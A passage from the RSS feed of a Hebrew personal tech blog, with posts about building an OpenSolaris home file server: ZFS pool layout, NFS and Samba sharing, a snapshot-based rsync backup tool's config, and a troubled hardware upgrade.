&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mirror&nbsp; &nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c8d0s0&nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c9d0s0&nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span></p>
<p>errors: No known data errors</p>
<p>&nbsp; pool: storage<br />
&nbsp;state: ONLINE<br />
&nbsp;scrub: none requested<br />
config:</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; NAME&nbsp; &nbsp; &nbsp; &nbsp; STATE&nbsp; &nbsp; &nbsp;READ WRITE CKSUM<br />
&nbsp; &nbsp; &nbsp; &nbsp; storage&nbsp; &nbsp; &nbsp;ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mirror&nbsp; &nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c8d0p2&nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c9d0p2&nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mirror&nbsp; &nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c9d1&nbsp; &nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c8d1&nbsp; &nbsp; ONLINE&nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span>&nbsp; &nbsp; &nbsp;<span class="nu0">0</span></p>
<p>errors: No known data errors<br />
omry@iron:~$ zfs list<br />
NAME&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;USED&nbsp; AVAIL&nbsp; REFER&nbsp; MOUNTPOINT<br />
rpool&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu0">7</span>.46G&nbsp; <span class="nu0">31</span>.7G&nbsp; &nbsp; 81K&nbsp; /rpool<br />
storage&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="nu0">1</span>.54T&nbsp; &nbsp;672G&nbsp; <span class="nu0">1</span>.53T&nbsp; /storage<br />
storage/backup&nbsp; &nbsp; &nbsp; <span class="nu0">9</span>.35G&nbsp; 672G&nbsp; <span class="nu0">9</span>.35G&nbsp; /storage/backup<br />
&#8230;</div>
</div>
<p>מה מעניין פה?<br />
מערכת הקבצים של מחיצת השורש &#8211; הrpool, נמצאת על שני דיסקים (ליתר דיוק &#8211; על מחיצות של שני דיסקים), בתצורת ראי, מה שאומר שאם אחד מהם קורס, המערכת ממשיכה לעבוד. כמובן שבמצב כזה כדי להחליף את הדיסק התקול כמה שיותר מהר.</p>
<p>שאר המקום בשני הדיסקים הראשונים, וכל המקום בשני הדיסקים השניים הוקצה למערכת הקבצים storage, שמשמשת לאכסון, לגיבוי של מחשבים אחרים וכנראה גם כמערכת קבצים מרכזית של ספריית הבית שלי.<br />
בהתחלה שקלתי ללכת על תצורת RAIDZ כדי לנצל כמה שיותר מקום.<br />
הבעיה הגדולה מבחינתי עם RAIDZ היא שהדיסקים שמרכיבים את הpool צריכים להיות באותו גודל (אחרת מפסידים את המקום העודף בדיסקים הגדולים יותר).<br />
מהסיבה הזו הלכתי על RAID10, עם שני זוגות של מירורים בנפח כולל של כ2.5 טרה בייט.<br />
ביום שיהיה לי שם צפוף, אני אוכל לזרוק עוד צמד דיסקים פנימה ולקבל מקום נוסף מיד (בלי להזיז נתונים, להגדיל מערכות קבצים או דברים מעצבנים אחרים).</p>
<h2>שיתוף קבצים בין מחשבים</h2>
<p>יש לי עוד שני מחשבים, אחד מריץ רק לינוקס, ואחד מריץ לינוקס וחלונות (במכונה וירטואלית בשביל iTunes ימח שמו), ובדואל בוט בשביל משחקים.<br />
כדי לשתף קבצים עם הלינוקסים, הגדרתי שיתוף בNFS.<br />
את NFS פיתחו בסאן, והמימוש שלהם הוא המימוש הטוב ביותר של NFS, הבעיה היא שהמימוש של לינוקס הוא לא ממש לפי התקן, לפחות אם נאמין לשמועה הרווחת.<br />
בזמן העברת קבצים מלינוקס לאופן-סולריס על גבי NFS נתקלתי בבעיות, ההעתקה הופסקה מעצמה בהעתקת קבצים גדולים עם שגיאה קלט/פלט סטנדרטית : די מטריד.<br />
אחרי שווידאתי שהבעיה היא בNFS (העתקתי את הקובץ הגדול באמצעות SCP ווידאתי שהוא תקין עם md5sum) התחלתי לשחק בפרמטרים של NFS בצד הלינוקס, באיזה פרוטוקול הוא מתחבר (NFS4? NFS3? אולי אפילו NFS2 השם ישמור?), באיזה תעבורה? UDP או TCP.<br />
בסוף גיליתי את התצורה שעובדת וגם נותנת ביצועים טובים:<br />
NFS3 עם TCP, ועם חוצצי קבלה ושליחה בגודל 32K (בשביל הביצועים, לא היה להם השפעה על השגיאה).<br />
השורה הרלוונטית /etc/fstab בלינוקס נראית ככה:</p>
<div class="codesnip-container" >
<div class="codesnip">iron:/storage   /storage        nfs     rw,soft,<span class="re2">timeo=</span><span class="nu0">3</span>,<span class="re2">rsize=</span><span class="nu0">32768</span>,<span class="re2">wsize=</span><span class="nu0">32768</span>,<span class="re2">proto=</span>tcp <span class="nu0">0</span>     <span class="nu0">0</span></div>
</div>
<p>כדי לשתף עם חלונות השתמשתי בסמבה של גנו &#8211; אותו סמבה בדיוק שיש בלינוקס.<br />
לאופן סולאיס של שני פתרונות לשיתוף קבצים עם חלונות: שרת CIFS שמובנה בתוך הקרנל, שמשום מה לא עבד לי טוב במיוחד, וחבילת samba סטנדרטית למדי, שעבדה הרבה יותר טוב.</p>
<h2>גיבוייים של מכונות לינוקס</h2>
<p>אין ספק שאיירון היא המכונה הכי עמידה שיש לי בכל מה שקשור לאכסון קבצים ועמידות לקריסת דיסקים (דיסקים קורסים, זו עובדת חיים).<br />
מכיוון שכך, זה רק טבעי שאני ארצה לגבות של מכונות הלינוקס שלי אל איירון.<br />
בעבר <a title="תיארתי" href="http://firefang.net/blog/860">תיארתי</a> את אסטרגיית הגיבוי שלי של מכונות לינוקס.<br />
בגדול הרעיון הוא לבצע rsync של הקבצים הרלוונטיים, ולשלב את זה עם רוטציה של ספריות סנאפשוט בזמנים שונים. כדי למנוע בזבוז מיותר של מקום &#8211; משתמשים בhard links כך שקובץ שלא שונה מהגיבוי האחרון תופס מקום פעם אחת בלבד.<br />
זה נחמד, אבל די מסורבל : צריך להעתיק את העץ מחדש כל פעם, ולמחוק עצים מיותרים, ובנוסף השיטה של החיסכון במקום לא מושלמת &#8211; כי קובץ ששונה רק בביט אחד יתפוס את כל המקום של הקובץ מחדש.<br />
עם הסנאפשוטים של ZFS אפשר לעשות משהו הרבה יותר פשוט ואלגנטי, שגם יותר חסכוני במקום והרבה יותר מהיר.<br />
הרעיון הוא פשוט לסנכרן את הספריה או הספריות הרלוונטיות מהשרת (או השרתים) אל ספריית היעד, ולקחת סנטפשוט של ZFS. כדי למנוע התפוצצות סנטפשוטים, אפשר פשוט למחוק סנאפשוטים ישנים.<br />
כתבתי תוכנה פשוטה בשם <a href="http://svn.firefang.net/trunk/zync/README">zync</a> שמממשת את הרעיון הזה.<br />
כתובה בג&#8217;אווה, וקובץ ההגדרות שלה כתוב <a title="בswush" href="http://firefang.net/blog/1331">בswush</a>, אז הוא קריא ונחמד.<br />
הנה קובץ הגדרות לדוגמא:</p>
<div class="codesnip-container" >
<div class="codesnip">@swush <span class="nu0">1</span>.<span class="nu0">0</span></p>
<p>zync<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp;backup<br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; host : root@<span class="nu0">10</span>.<span class="nu0">0</span>.<span class="nu0">0</span>.<span class="nu0">2</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; directory : /</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # Exclude files or dirs<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; exclude<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /cdrom<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /mnt<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /dev<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /media<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /proc<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /sys<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /tmp<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /var/cache<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /var/log<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /var/lib/mysql<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; rsync<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; command : /usr/bin/rsync<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; destination : <span class="st0">&#8220;/storage/backup/${host}&#8221;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; options <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -a <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#8211;force <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#8211;delete-excluded&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#8211;delete <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; zfs<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; backup_file_system : storage/backup<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; snapshot<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; delete_older : 30d<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></div>
</div>
<p>zync כבר די מוכנה לדעתי, ואני מתחיל לגבות איתה את מכונות הלינוקס שלי, כולל את השרת שמריץ את הבלוג.</p>
<p>סך הכל, אני מאוד מרוצה מהצורה שהמערכת תופסת.<br />
יש קשיים פה ושם, אבל שום דבר בלתי פתיר.</p>
]]></content:encoded>
			<wfw:commentRss>http://firefang.net/blog/1436/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>יסוריו של המשדרג בהמשכים</title>
		<link>http://firefang.net/blog/1419</link>
		<comments>http://firefang.net/blog/1419#comments</comments>
		<pubDate>Fri, 31 Jul 2009 20:13:27 +0000</pubDate>
		<dc:creator>עמרי</dc:creator>
				<category><![CDATA[ניהול רשת]]></category>

		<guid isPermaLink="false">http://firefang.net/blog/?p=1419</guid>
		<description><![CDATA[אזהרה:
פוסט זה מסוכן לנשים בהריון ולסובלים ממחלות לב ולסובלים מאלרגיה לפוסטים גיקיים במיוחד.
אז התוכנית היתה לקחת את לוח האם והמעבד של אותה מפלצת זוללת ביטים בדימוס ולהשמיש אותם לטובת מכונת האכסון שאני מתכנן.
כבר יש לוח אם ומעבד, אז הזמנתי מפנדה מארז Antec Titan Server, שהוא מארז נחמד לשרת ביתי, עם מקום לשש הרדיסקים (2.5&#8243;) וארבע [...]]]></description>
			<content:encoded><![CDATA[<p>אזהרה:<br />
פוסט זה מסוכן לנשים בהריון ולסובלים ממחלות לב ולסובלים מאלרגיה לפוסטים גיקיים במיוחד.</p>
<p>אז התוכנית היתה לקחת את לוח האם והמעבד של אותה <a title="מפלצת זוללת ביטים בדימוס" href="http://firefang.net/blog/198">מפלצת זוללת ביטים בדימוס</a> ולהשמיש אותם לטובת מכונת האכסון <a title="שאני מתכנן" href="http://firefang.net/blog/1409">שאני מתכנן</a>.<br />
כבר יש לוח אם ומעבד, אז הזמנתי מפנדה מארז <a href="http://www.pandas.co.il/product_info.php?cPath=609_280_114_2483&amp;products_id=15347">Antec Titan Server</a>, שהוא מארז נחמד לשרת ביתי, עם מקום לשש הרדיסקים (2.5&#8243;) וארבע סידירומים (5.25&#8243;, מי צריך ארבע סידירומים?)</p>
<p><a href="http://www.pandas.co.il/images/products/normal/15347.jpg"><img src="http://www.pandas.co.il/images/products/normal/15347.jpg" alt="" width="83" height="83" /></a></p>
<p>חוץ מזה הזמנתי 4<a href="http://www.pandas.co.il/product_info.php?cPath=609_271_2236_2237_2399&amp;products_id=23745"> גיגה זכרון</a> פשוט ככל האפשר של G.Skill,   ו<a href="http://www.pandas.co.il/product_info.php?cPath=609_281_2301&amp;products_id=25093">ספק כוח</a> 400 וואט של Corsair.<br />
כל הרדיסק צורך כ10 וואט, ואם ניקח שש הרדיסקים ונשמור נניח 100 ואט למעבד הגענו בקושי ל160 וואט, אבל אין ממש ספקים טובים בהספק נמוך מזה.<br />
הדבר האחרון בהזמנה הוא צמד הרדיסקים של <a href="http://www.pandas.co.il/product_info.php?cPath=609_272_3151_81_2002&amp;products_id=23091">סיגייט, בנפח 1.5 טרה</a> כ&#8221;א.</p>
<p>בכל אופן, גיחה ראשונה עלתה לי 2551 (כולל משלוחה).<br />
אחרי כשבוע קיבלתי את החומרה, וישבתי להרכיב את העסק.<br />
התקנתי את לוח האם במארז, חיברתי את הספק, תקעתי כרטיס מסך ישן שיש לי (מטרוקס G200 מ1996!), וניסיתי להדליק את המחשב &#8211; כדאי לנסות לפני שמחברים את ההרדיסקים.<br />
כמובן &#8211; לא נדלק.<br />
מה קרה? האם הלוח דפוק? האם חיברתי את החיבורים בין המארז ללוח האם לא כמו שצריך?<br />
אחרי התעסקות, ונסיון להשתמש בספק כוח ישן שיש לי (שלא מכיל אף חיבור SATA) גיליתי שעם הספק הישן המחשב נדלק.<br />
חשבתי לעצמי, בטח הספק דפוק, נחליף אותו.<br />
יצרתי קשר עם פנדה, שלחו ספק אחר.<br />
אחרי כמה ימים הספק הגיע ביום שישי בבוקר. נתתי לשליח את הספק הישן והמשכתי בקווסט.</p>
<p>חיברתי את הספק החדש, הדלקתי את המחשב ו&#8230;.<br />
כלום!<br />
שני ספקים דפוקים? לא קונה את זה.<br />
יש פה משהו מסריח, וזה לא הספק.נו טוב, יש עדיין את הספק הישן שכן עובד. נדבר עם פנדה ביום ראשון.<br />
קניתי מחנות מחשבים קרובה כמה מתאמי מולקס לSATA בדולר וחצי כל אחד, והמשכתי עם הספק הישן.<br />
<a href="http://specialtech.co.uk/spshop/files/master/sata%20pwr.jpg"><img class="alignnone" src="http://specialtech.co.uk/spshop/files/master/sata%20pwr.jpg" alt="" width="130" height="117" /></a></p>
<p>חיש מהר המחשב נתקע לי בפרצוף בזמן שOpenSolaris ניסה לעלות.<br />
נו טוב, בדיקת זכרון.<br />
הורדתי את <a title="memtest" href="http://www.memtest.org/">memtest</a>, תוכנה פשוטה שבודקת את הזכרון של המחשב בצורה יסודית. כמובן &#8211; גם ממטסט נתקע. התחלתי לשחק עם הצ&#8217;יפים של הזכרון, פעם רק הראשון, פעם רק השני, ועדיין לא הולך.<br />
ניסיתי אפילו את צ&#8217;יפ הזכרון הישן של הלוח (צ&#8217;יפ של 512 מגה) שלמיטב זכרוני עבד טוב. הפתעה &#8211; גם הוא נתקע בבדיקה.<br />
בשלב הזה כבר התחלתי לחשוד בלוח האם,  ולאחר לבטים קצרים החלטתי שמכיוון שגם ככה יש בו רק ארבע חיבורי SATA ואני מתכנן על שש הרדיסקים בשלב זה או אחר &#8211; אני כבר אזמין לוח אם אחר, עם שש חיבורי SATA, ומעבר לזאת, אחד שאפילו עובד.</p>
<p>נו, הגענו לסבב ב&#8217; של הזמנת חומרה.<br />
הפעם צריך לוח אם ומעבד (אין מצב שאני משדרג לוח אם ונשאר עם פנטיום D בן שלוש).</p>
<p>התחלתי לטחון את האינטרנט בחיפוש אחרי לוח אם, רצוי של אסוס &#8211; עם שש חיבורי SATA שגם נתמך טוב בOpenSolaris.<br />
לבסוף הלכתי על <a href="http://www.pandas.co.il/product_info.php?cPath=609_270_84_1212_2832&amp;products_id=23033">ASUS P5Q-SE2</a>,<strong> </strong>שעונה על הדרישות.<br />
לקחתי גם את הקור2דואו הכי זול שמצאתי,<strong> </strong><strong><a href="http://www.pandas.co.il/product_info.php?cPath=609_269_76_2211&amp;products_id=22657">E5200</a> </strong>במהירות 2.5 ג&#8217;יגהרץ.<br />
סבב שני עלה כ1000 שקל (מישלוחה אינקלודד)</p>
<p>היום הגיעה החבילה, וסחבק התיישב על העסק.<br />
פירקתי את הלוח הישן ואת הספק הישן, הרכבתי את המעבד והזכרון על הלוח החדש, חיברתי את הספק החדש והלא דפוק בעליל,  ואת אותו כרטיס מסך ישן של מטרוקס, חיברתי לחשמל ולמסך, הדלקתי ו&#8230;<br />
נדלק!<br />
אבל מוקדם לשמוח, תוך חמש שניות המחשב נתקע, ישר אחרי שראיתי את הדגם של הכרטיס מסך, ולפני שעלה מסך <a href="http://en.wikipedia.org/wiki/Power-on_self-test">הPOST</a>.<br />
אין לי מזל, אה?<br />
טוב, ניתקתי את הדיסקים, לא עזר.<br />
הזזתי את הזכרונות לערוץ השני, לא עזר.<br />
במעבד ממש לא התחשק לי לגעת..<br />
טוב, אולי הכרטיס מסך?<br />
כשהמחשב נתקע, אפילו כפתור הNUMLOCK לא מגיב והמנורה לא נדלקת ונכבית.<br />
הוצאתי את כרטיס המסך הישן, ניסיתי שוב והפעם &#8211; לפי הNUMLOCK &#8211; המחשב <strong>לא</strong> נתקע.</p>
<p>מסתבר שהלוח החדש לא אוהב את הכרטיס מסך הישן, נו טוב &#8211; אני צריך את הכרטיס מסך רק להתקנה. זה שרת קבצים בכל זאת.<br />
פירקתי מהמחשב בסלון את כרטיס המסך שלו &#8211; משהו יותר מודרני : NVIDIA GT 8600. לא במפתיע &#8211; העסק עלה הפעם.</p>
<p>נו טוב, יש התקדמות.<br />
עם כל הצרות, החלטתי שכדאי לבדוק את הזכרון בכל זאת, רק כדי להיות בטוח שהוא תקין.<br />
הפעלתי את ממטסט, ותוך שבע שניות מרגע שהוא התחיל לעבוד המחשב עשה בוט ספונטני.<br />
נסיון שני, אותו דבר. שלישי &#8211; שוב.<br />
אולי הזכרון דפוק בכל זאת?<br />
שוב התחלתי בריקוד הרגיל, רק הצ&#8217;יפ הראשון, רק השני, משחקים עם הערוצים של הזכרון&#8230; שום דבר לא עזר.<br />
בעליה של memtest, ברירת המחדל היא גרסא 3.5, אבל יש אפשרות לבחור את הגרסא הקודמת &#8211; 3.4.<br />
ניסיתי עם 3.4, והפלא ופלא &#8211; לא התפוצץ.<br />
גיגול קצר הראה שזו שאנשים נתקלו בבעיה עם 3.5, לא נורא &#8211; המשכתי בבדיקה עם 3.4.<br />
אחרי כמה שעות בלי איתחולים ובלי שגיאות, הפסקתי את הבדיקה והחלטתי שהגיע הזמן להתקין.<br />
ההתקנה עברה באופן חלק, התקנתי את אופן סולאריס על מחיצה של 40GB בדיסק הראשון (קצת הרבה , אבל לא נורא &#8211; זה דיסק של טרה וחצי).<br />
העלתי את המערכת, הגדרתי את העסק כך שמחיצת השורש תהיה על MIRROR (זה לא טריוואלי כי ההתקנה לא תומכת בתצורה הזו, אני אספר על ההגדרות של OpenSolaris בפוסט אחר).<br />
אפילו בדקתי שהמערכת עולה אם אני מנתק את הדיסק הראשון &#8211; וכן &#8211; היא עלתה כראוי.<br />
OpenSolaris זיהתה את כל החומרה הרלוונטית לי, שספציפית במקרה הזה זה הדיסקים (דרך בקר הSATA) וכרטיס הרשת.</p>
<p>אחלה, סוף סוף משהו עובד.<br />
נשאר רק להחזיר את כרטיס המסך מהמחשב בסלון למקומו, ולהתחיל להעתיק נתונים.<br />
הוצאתי את הכרטיס, הפעלתי את המחשב בלי כרטיס מסך, ואחרי כמה דקות בדקתי אם יש לי פינג ממנו (מה שאומר שמערכת ההפעלה עלתה).<br />
כמובן שהתשובה היא שלא, לא היה פינג.<br />
למה דברים לא יכולים פשוט לעבוד?<br />
החזרתי את ה8600, הפעלתי את המחשב, עולה מצויין.<br />
הוצאתי אותו, הפעלתי &#8211; ונתקע (לפי הNUMLOCK) אחרי 30 שניות.<br />
הייתכן שמצאתי לוח אם שלא מוכן לעבוד בלי כרטיס מסך? אסוס, יא נבלות.<br />
עדכניתי את הBIOS לגרסא האחרונה, וזה עדיין לא עבד בלי הכרטיס מסך.<br />
בשלב הזה התייאשתי, צריך עוד כרטיס מסך.<br />
זה מה שנקרא, לקנות מחשב בהמשכים. אפקטיבית קניתי מחשב שלם, אבל בשלושה חלקים.</p>
<p>מוסר ההשכל?<br />
אין, אבל אני נשבע שאני אגרום למניאק הזה לעבוד!</p>
<p>נ.ב:<br />
למישהו יש כרטיס מסך מיותר בחיבור PCIE? <img src='http://firefang.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>עדכון:</strong><br />
שלחתי בקשת תמיכה לאסוס ביום שישי, והיום בבוקר קיבלתי עצה לנסות את המאטרוקס הישן בחריץ PCI אחר.<br />
המחשבה הראשונה שלי היתה שכבר ניסיתי, אבל אז נזכרתי שהוא אכן היה בערוץ אחר למשך כמה דקות, אבל לא היתה לי גישה טובה לחיבורי הSATA ולכן הזזתי אותו לפני שניסיתי אפילו איתחול אחד.<br />
התקנתי את הכרטיס בחריץ אחר, והפלא ופלא &#8211; המחשב עלה!<br />
הייתי צריך לחשוב על זה לבד <img src='http://firefang.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://firefang.net/blog/1419/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>מכונת אחסון ביתית על אופן-סולאריס</title>
		<link>http://firefang.net/blog/1409</link>
		<comments>http://firefang.net/blog/1409#comments</comments>
		<pubDate>Thu, 09 Jul 2009 22:04:30 +0000</pubDate>
		<dc:creator>עמרי</dc:creator>
				<category><![CDATA[בידורים]]></category>
		<category><![CDATA[ניהול רשת]]></category>
		<category><![CDATA[קוד פתוח]]></category>

		<guid isPermaLink="false">http://firefang.net/blog/?p=1409</guid>
		<description><![CDATA[כזכור לקוראים הוותיקים, אני משדרג די סדרתי.
לפני כשלוש שנים שדרגתי את מחשבי למפלצת זוללת ביטים שהתיישנה קשות מאז, פנטיום D, עם 2 ג&#8217;יגה זכרון, לוח אם פיצוצי של אסוס וכל זה.
הזמן עבר, ובשדרוג סיבובי טיפוסי שדרגתי  את המחשב לפנטיום קור-דואו, והעברתי את הפנטיום D לסלון, וראיתי כי טוב.
עוד זמן עבר,  והפנטיום D התחיל [...]]]></description>
			<content:encoded><![CDATA[<p>כזכור לקוראים הוותיקים, אני משדרג די סדרתי.<br />
לפני כשלוש שנים <a href="http://firefang.net/blog/198">שדרגתי</a> את מחשבי למפלצת זוללת ביטים שהתיישנה קשות מאז, פנטיום D, עם 2 ג&#8217;יגה זכרון, לוח אם פיצוצי של אסוס וכל זה.<br />
הזמן עבר, ובשדרוג <a href="http://firefang.net/blog/884">סיבובי טיפוסי</a> שדרגתי  את המחשב לפנטיום קור-דואו, והעברתי את הפנטיום D לסלון, וראיתי כי טוב.<br />
עוד זמן עבר,  והפנטיום D התחיל <a href="http://firefang.net/blog/899">לגמגם</a> בטיפול בוידאו ברזולוציה של 1080p, בהתחלה נסיתי להוציא ממנו עוד קצת חיים בשימוש בקודקים מתוחכמים, אבל בשלב מסויים ירדתי מהעניין וקניתי פנטיום i7 לחדר, ואת הקור-דואו שמתי בסלון. הפעם כבר לא היה לי שימוש למפלצת שזללה ביטים בימיה הטובים, ושמתי את לוח האם, המעבד והזכרון שעדיין עבד בקופסא, בתקווה למצוא לחומרה שימוש מתישהו.</p>
<p>פסט-פורוורד להיום.<br />
יצא לי להתעסק עם אופן סולאריס, ופשוט התאהבתי בZFS.<br />
ZFS היא ה-מערכת קבצים הכי טובה שראיתי, יש לה פיצ&#8217;רים שאין לאף מערכת קבצים אחרת.<br />
מה למשל, שואל הקורא הסקרן?<br />
טוב, אז ככה:<br />
checksum של הנתונים עצמם, כולל ריפוי אוטומטי במקרה של נזק לנתונים (!) במקום נזק שקט כמו במערכת קבצים אחרות.<br />
סנאפ-שוטים של מערכת הקבצים, שלא תופסים מקום ולוקחים זמן קצר במיוחד.<br />
איך לא תופסים מקום? די פשוט, ברגע שמבצעים את הסנאפ-שוט (מעתה &#8211; צילום), מערכת הקבצים מסמנת שיש עליה סנאפ שוט וממתי הוא.<br />
זה הכל.<br />
ברגע שבלוק חדש נכתב, הוא לא נכתב במקום הבלוק הישום של אותו קובץ, אלא בצד. הבלוק הישן ממשיך להיות זמין דרך הצילום הישן, ומי שעובר כרגיל ניגש לבלוק החדש.<br />
אפשר לשמור צילומים כאלו בכמויות, והמקום שהם תופסים הוא רק ההבדל בין צילום לצילום שקדם לו (או בין המצב הנוכחי של מערכת הקבצים אם הצילום הוא האחרון).<br />
מגניב בשביל גיבויים, אפילו אוטומטיים. אפשר להגדיר בקלות רבה את אופן-סולאריס לקחת צילומים כאלו כל רבע שעה. חשבו כמה שזה מגניב לדעת שתמיד יש גיבוי של מה שעשיתם.</p>
<p>מה עוד?<br />
לא צריך להסתבכך עם מחיצות, מערכות קבצים, פירמוטים, RAID וכל העניינים האלו.<br />
